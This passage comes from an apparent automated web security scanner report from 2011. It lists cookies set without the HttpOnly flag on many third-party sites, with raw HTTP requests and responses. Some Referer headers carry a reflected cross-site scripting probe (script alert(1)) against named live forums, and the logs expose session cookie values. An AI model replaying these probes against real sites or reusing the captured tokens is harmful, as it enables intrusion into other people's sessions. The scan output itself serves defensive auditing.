<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /tool/view/mb/file?username=acslinda&id=512851 HTTP/1.1 Host: www.websitetoolbox.com Proxy-Connection: keep-alive Referer: http://www.worldmastiffforum.com/?d11e2%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6a009cb502=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.worldmastiffforum.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /file?id=858352 HTTP/1.1 Host: www.worldmastiffforum.com Proxy-Connection: keep-alive Referer: http://www.worldmastiffforum.com/?d11e2%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6a009cb502=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: hascookies=1; newvisit=1296706072; lastvisit=1296706072
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /user/sqlrtfm HTTP/1.1 Host: www.youtube.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 303 See Other Date: Thu, 03 Feb 2011 04:07:11 GMT Server: Apache X-Content-Type-Options: nosniff Set-Cookie: use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; path=/; domain=.youtube.com Set-Cookie: VISITOR_INFO1_LIVE=4OZBfTCMbDE; path=/; domain=.youtube.com; expires=Sat, 01-Oct-2011 04:07:11 GMT Set-Cookie: GEO=b5d573ea86f2fe3582072f5171923c13cwsAAAAzVVOtwdbzTUop7w==; path=/; domain=.youtube.com Expires: Tue, 27 Apr 1971 19:44:06 EST Content-Length: 0 Cache-Control: no-cache Location: http://www.youtube.com/das_captcha?next=/user/sqlrtfm Content-Type: text/html; charset=utf-8 Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /15530/db/xg.gif?pid=15530&sid=10001&type=db&p_bid=4d1ec56b7612a62c HTTP/1.1 Host: xcdn.xgraph.net Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: _xgcid=7AC30F7C62CFAB36F552D9C49D5A30EF; _xguid=8E756760D5075E9B78AC3BF5CB20BCB1; _mpush=2797DC348F9097BCD57A6B8F5F5D25DC
Response
HTTP/1.1 200 OK Content-Type: image/gif Server: Apache-Coyote/1.1 Content-Length: 43 Expires: Wed, 02 Feb 2011 15:14:45 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 02 Feb 2011 15:14:45 GMT Connection: close Set-Cookie: _mpush=A9F8E6728D95BAA8B046FEDC4DCC8AA2; Domain=.xgraph.net; Expires=Sat, 01-Feb-2014 15:14:45 GMT; Path=/ Set-Cookie: _push4xgat=1296659685256; Domain=.xgraph.net; Expires=Thu, 03-Feb-2011 15:14:45 GMT; Path=/ P3P: CP="NOI NID DSP LAW PSAa PSDa OUR BUS UNI COM NAV STA", policyref="http://xcdn.xgraph.net/w3c/p3p.xml"
GIF89a.............!.......,...........D..;
12. Cookie without HttpOnly flag setpreviousnext There are 771 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /a HTTP/1.1 Host: admin.testandtarget.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=A6B763B3ABABD72824B234D53FCB7A18; s_sv_p1=1@15@s/5084/5072&e/5; s_sq=omniturecom%2Comnitureall%2Comniturecomdev%2Comniturecomemea%2Comnitureapac%2Comniturenoncustomer%2Comniturecomen%3D%2526pid%253DPrivacy%25253A%2525202o7.net%252520Explained%2526pidt%253D1%2526oid%253Dhttp%25253A//my.omniture.com/%2526ot%253DA; safariAlertWasDisplayed=1; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; sc_locale=en_US; s_sv_s1=1@29@a//1296661247027/594025749283; v1stsp=C92D8F8B772AFF13; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; sc_locale_numbers=en_US; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 404 Not Found Server: Test & Target Cache-Control: no-cache Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 19:18:32 GMT Expires: Wed, 31 Dec 1969 19:00:00 EST Pragma: No-cache Connection: close Set-Cookie: JSESSIONID=884811827AAEAFE10DFDB991D900C1FC; Path=/; Secure Content-Length: 3855
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /errors/browser_unsupported.jsp HTTP/1.1 Host: admin.testandtarget.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=A6B763B3ABABD72824B234D53FCB7A18; s_sv_p1=1@15@s/5084/5072&e/5; s_sq=omniturecom%2Comnitureall%2Comniturecomdev%2Comniturecomemea%2Comnitureapac%2Comniturenoncustomer%2Comniturecomen%3D%2526pid%253DPrivacy%25253A%2525202o7.net%252520Explained%2526pidt%253D1%2526oid%253Dhttp%25253A//my.omniture.com/%2526ot%253DA; safariAlertWasDisplayed=1; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; sc_locale=en_US; s_sv_s1=1@29@a//1296661247027/594025749283; v1stsp=C92D8F8B772AFF13; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; sc_locale_numbers=en_US; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Test & Target Cache-Control: no-cache Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 19:18:26 GMT Expires: Wed, 31 Dec 1969 19:00:00 EST Pragma: No-cache Connection: close Set-Cookie: JSESSIONID=9B2B1208866F28D1FE7062D3D5AC5241; Path=/; Secure Content-Length: 1128
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /login HTTP/1.1 Host: admin.testandtarget.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=A6B763B3ABABD72824B234D53FCB7A18; s_sv_p1=1@15@s/5084/5072&e/5; s_sq=omniturecom%2Comnitureall%2Comniturecomdev%2Comniturecomemea%2Comnitureapac%2Comniturenoncustomer%2Comniturecomen%3D%2526pid%253DPrivacy%25253A%2525202o7.net%252520Explained%2526pidt%253D1%2526oid%253Dhttp%25253A//my.omniture.com/%2526ot%253DA; safariAlertWasDisplayed=1; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; sc_locale=en_US; s_sv_s1=1@29@a//1296661247027/594025749283; v1stsp=C92D8F8B772AFF13; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; sc_locale_numbers=en_US; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Test & Target Cache-Control: no-cache Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 19:18:31 GMT Expires: Wed, 31 Dec 1969 19:00:00 EST Pragma: No-cache Connection: close Set-Cookie: JSESSIONID=9B11A74E9BD91864464B374D60E09FA2; Path=/; Secure Set-Cookie: JSESSIONID=FB6FC08AF0FE7F16BEDDF50011804EA4; Path=/; Secure Content-Length: 21675
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Pragma: No-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 19:00:00 EST Set-Cookie: JSESSIONID=CA7E9F2DE8552C1FD4949D1F876B3713; Path=/; Secure Content-Type: text/html Vary: Accept-Encoding Date: Wed, 02 Feb 2011 19:10:16 GMT Server: Test & Target Content-Length: 72174
/*! * jQuery JavaScript Library v1.4.2 * http://jquery.com/ * * Copyright 2010, John Resig * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * Includes Siz ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /skins/omniture/static_header.css HTTP/1.1 Host: admin.testandtarget.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=A6B763B3ABABD72824B234D53FCB7A18; s_sv_p1=1@15@s/5084/5072&e/5; s_sq=omniturecom%2Comnitureall%2Comniturecomdev%2Comniturecomemea%2Comnitureapac%2Comniturenoncustomer%2Comniturecomen%3D%2526pid%253DPrivacy%25253A%2525202o7.net%252520Explained%2526pidt%253D1%2526oid%253Dhttp%25253A//my.omniture.com/%2526ot%253DA; safariAlertWasDisplayed=1; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; sc_locale=en_US; s_sv_s1=1@29@a//1296661247027/594025749283; v1stsp=C92D8F8B772AFF13; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; sc_locale_numbers=en_US; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Test & Target Cache-Control: no-cache Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 19:18:09 GMT Expires: Wed, 31 Dec 1969 19:00:00 EST Pragma: No-cache Connection: close Set-Cookie: JSESSIONID=253037367E1BEBF8A6563C18CAC12F52; Path=/; Secure Content-Length: 8727
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/forgot_password.jsp HTTP/1.1 Host: admin.testandtarget.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=A6B763B3ABABD72824B234D53FCB7A18; s_sv_p1=1@15@s/5084/5072&e/5; s_sq=omniturecom%2Comnitureall%2Comniturecomdev%2Comniturecomemea%2Comnitureapac%2Comniturenoncustomer%2Comniturecomen%3D%2526pid%253DPrivacy%25253A%2525202o7.net%252520Explained%2526pidt%253D1%2526oid%253Dhttp%25253A//my.omniture.com/%2526ot%253DA; safariAlertWasDisplayed=1; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; sc_locale=en_US; s_sv_s1=1@29@a//1296661247027/594025749283; v1stsp=C92D8F8B772AFF13; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; sc_locale_numbers=en_US; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Test & Target Cache-Control: no-cache Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 19:18:24 GMT Expires: Wed, 31 Dec 1969 19:00:00 EST Pragma: No-cache Connection: close Set-Cookie: JSESSIONID=D73AC528F3F0D39AC704A6925A01FDBE; Path=/; Secure Content-Length: 3574
The following cookie was issued by the application and does not have the HttpOnly flag set:
SESSff329d810a46b3a1bf645141daed34cf=48b6ee52b08037054e01ddbd2a94b7c3; expires=Thu, 24 Feb 2011 19:03:28 GMT; path=/; domain=.advertising.aol.com
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /privacy/advertisingcom/opt-out HTTP/1.1 Host: advertising.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=pb9a54rcdfapplliujtg1g42b4; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: amihackerproof.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 16:17:26 GMT Server: Apache Set-Cookie: PHPSESSID=pb9a54rcdfapplliujtg1g42b4; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 7235 Connection: close Content-Type: text/html
<html> <head> <meta name="description" content="AmIHackerProof.com Is The most Powerful And Accurate Online Vulnerability & Penetration Scanner In The World." /> <meta name="keywords" content=" ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
sessionid=352926924; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: blekko.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The following cookie was issued by the application and does not have the HttpOnly flag set:
sessionid=351987218; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ws/http:/2mdn.net/%20/domain HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pm/ppm HTTP/1.1 Host: blogs.ittoolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Connection: close Date: Tue, 01 Feb 2011 14:26:20 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Location: http://it.toolbox.com/blogs/ppmtoday Content-Length: 25 Content-Type: text/html Set-Cookie: ASPSESSIONIDACCQACBQ=NCFKLBLDKFJMIKPJAPBHDJPK; path=/ Cache-control: private
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
POST /moduleindex.php?frandom=0.9355478414800018 HTTP/1.1 Host: boardreader.com Proxy-Connection: keep-alive Referer: http://boardreader.com/domain/2mdn.net/x22?ebef7%22%3E%3Cscript%3Ealert(1)%3C/script%3E6f696982a6d=1 Origin: http://boardreader.com Pragma: no-cache Method: post /moduleindex.php?frandom=0.9355478414800018 HTTP/1.1 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Cache-Control: must-revalidate, no-cache, no-store Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: human_user=true Content-Length: 688
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /site/resources/scripts/onload/ HTTP/1.1 Host: brothercake.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 16:18:36 GMT Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a Cache-control: private Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: no-cache Set-Cookie: PHPSESSID=a9cf46730e759a203326782ac170a524; path=/ Connection: close Content-Type: text/html Content-Length: 14479
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ticket/7509 HTTP/1.1 Host: bugs.jquery.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 Ok Server: nginx/0.7.65 Date: Thu, 03 Feb 2011 07:28:31 GMT Content-Type: text/html;charset=utf-8 Connection: close Cache-Control: must-revalidate Content-Length: 30463 Set-Cookie: trac_form_token=ed1b6de568702a1c8f09b564; Path=/ Set-Cookie: trac_session=1baf223dbf08e097e51fe085; expires=Wed, 04-May-2011 07:28:31 GMT; Path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: careers.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: http://careers.microsoft.com/gclp.aspx Server: Microsoft-IIS/7.0 Set-Cookie: ASP.NET_SessionId=ysf2phmmwmrwurexvwe3yi45; path=/; HttpOnly Set-Cookie: ASP.NET_SessionId=tljzinbvi22wraeeaodbwt45; path=/; HttpOnly Set-Cookie: SessionProfile=ysf2phmmwmrwurexvwe3yi45; path=/; secure X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Date: Tue, 01 Feb 2011 15:30:46 GMT Connection: close Content-Length: 155
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://careers.microsoft.com/gclp.aspx">here</a>.</h2> </body></html>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /comment_card.asp HTTP/1.1 Host: ccc01.opinionlab.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Cache-Control: private Content-Length: 150 Content-Type: text/html Location: /pasp/comment_card_cache.asp? X-Powered-By: ASP.NET Set-Cookie: ASPSESSIONIDCSBQDBAR=BCCAJPIDIILGIPAPFEJMBMFM; path=/ Date: Tue, 01 Feb 2011 15:30:52 GMT Connection: close
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="/pasp/comment_card_cache.asp?">here</a>.</body>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /o.asp HTTP/1.1 Host: ccc01.opinionlab.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 0 Content-Type: text/html X-Powered-By: ASP.NET Set-Cookie: ASPSESSIONIDCSBQDBAR=KCCAJPIDHIPFBLPHLBGGEPJN; path=/ Date: Tue, 01 Feb 2011 15:30:54 GMT Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=2dblg2ojg95vrueh1o2ogo6fc7; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: clickaider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.2.0 Set-Cookie: PHPSESSID=2dblg2ojg95vrueh1o2ogo6fc7; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-type: text/html Connection: close Date: Thu, 03 Feb 2011 07:29:14 GMT Server: lighttpd/1.4.28 Content-Length: 19931
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>ClickAider Click T ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: corp.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:31:20 GMT Server: Apache X-Powered-By: PHP/5.2.14 Set-Cookie: SESSc57eb9d13b46000ec67f39fb6c72bb7b=c58c740357a69175e78bc80cc482bf6d; expires=Thu, 24-Feb-2011 19:04:40 GMT; path=/; domain=.corp.orbitz.com Last-Modified: Tue, 01 Feb 2011 15:02:16 GMT ETag: "4b6ad4ad993428d4a1392a134a6b30dc" Expires: Sun, 19 Nov 1978 05:00:00 GMT Cache-Control: must-revalidate Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 22594
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /careers HTTP/1.1 Host: corp.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /partnerships/advertise.html HTTP/1.1 Host: corp.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /partnerships/affiliates.html HTTP/1.1 Host: corp.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: cruises.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:31:24 GMT Server: Microsoft-IIS/6.0 P3P: CP="NOI DSP CURa ADMa DEVa TAIa CONo HISa OUR BUS IND PHY ONL UNI PUR COM NAV INT DEM STA" X-Powered-By: ASP.NET Content-Length: 94093 Content-Type: text/html Set-Cookie: WDVID=%7BAFB0B749%2D075D%2D44BF%2DB60B%2DB6BF043B31B7%7D; path=/ Set-Cookie: WDUID=%7BE5904506%2D9924%2D4D11%2DBA78%2DE65D804B066F%7D; expires=Wed, 02-Feb-2022 05:00:00 GMT; path=/ Set-Cookie: ASPSESSIONIDCSQDSDDC=LJFDICBAGOGCDGDPGGGHPIFM; path=/ Cache-control: private Set-Cookie: NSC_WJQ-DSVJTFT.PSCJUA.DPN=ffffffff095b1c2245525d5f4f58455e445a4a423662;path=/
<script language="javascript"> <!--
var flashinstalled = 0; var flashversion = 0; MSDetect = "false"; if (navigator.plugins && navigator.plugins.length) { x = navigator.plugins["Shockwave Fl ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /index.aspx HTTP/1.1 Host: dating.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /search/index.aspx HTTP/1.1 Host: dating.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
guest_id=129667433084978945; path=/; expires=Fri, 04 Mar 2011 19:18:50 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: dev.twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 19:18:50 GMT Server: hi Status: 200 OK X-Transaction: 1296674330-72244-42214 ETag: "934b54f1a54905f44c5f08e31e76ff12" Last-Modified: Wed, 02 Feb 2011 19:18:50 GMT X-Runtime: 0.03334 Content-Type: text/html; charset=utf-8 Content-Length: 8908 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296674330831255; path=/; expires=Wed, 09-Feb-11 19:18:50 GMT; domain=.twitter.com Set-Cookie: guest_id=129667433084978945; path=/; expires=Fri, 04 Mar 2011 19:18:50 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: 